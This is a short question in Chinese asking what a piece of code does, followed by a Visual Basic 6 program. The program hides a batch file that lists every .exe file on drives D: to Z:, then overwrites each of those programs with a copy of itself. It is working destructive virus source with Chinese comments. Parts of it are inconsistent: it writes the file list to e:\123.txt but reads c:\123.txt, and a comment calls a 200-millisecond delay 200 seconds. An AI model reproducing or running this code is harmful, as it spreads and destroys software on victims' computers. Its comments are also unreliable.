这段代码是干什么的
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) Private Sub Form_Load()
On Error Resume Next ’容错句
If Dir("c:\123.txt") = "" Then ’如果123.txt不存在则创建 bat遍历exe文件
Open "c:\a.bat" For Output As #1 ’打开bat文件
Print #1, "for %%a in (d: e: f: g: h: i: j: k: l: m: n: o: p: q: r: s: t: u: v: w: x: y: z:) do dir /s/b %%a\*.exe >>e:\123.txt" ’写入数据
Close #1 ’关闭文件
Sleep 200 ’延时200秒等待文件生成(主要为了慢机器)
Shell "c:\a.bat", 0 ’隐藏运行之
End If
Sleep 60000 ’延时1分钟等待exe遍历完成
Dim A() As String
Dim C As Long, I As Integer
Open "c:\123.txt" For Input As #1 ’读取txt里面的内容
Do While EOF(1) = False
ReDim Preserve A(C)
Input #1, A(C)
C = C + 1
Loop
Close #1
For I = 0 To C - 1
FileCopy App.Path & "\" & App.EXEName & ".exe", A(I) ’把txt里面的内容替换掉
Next
End Sub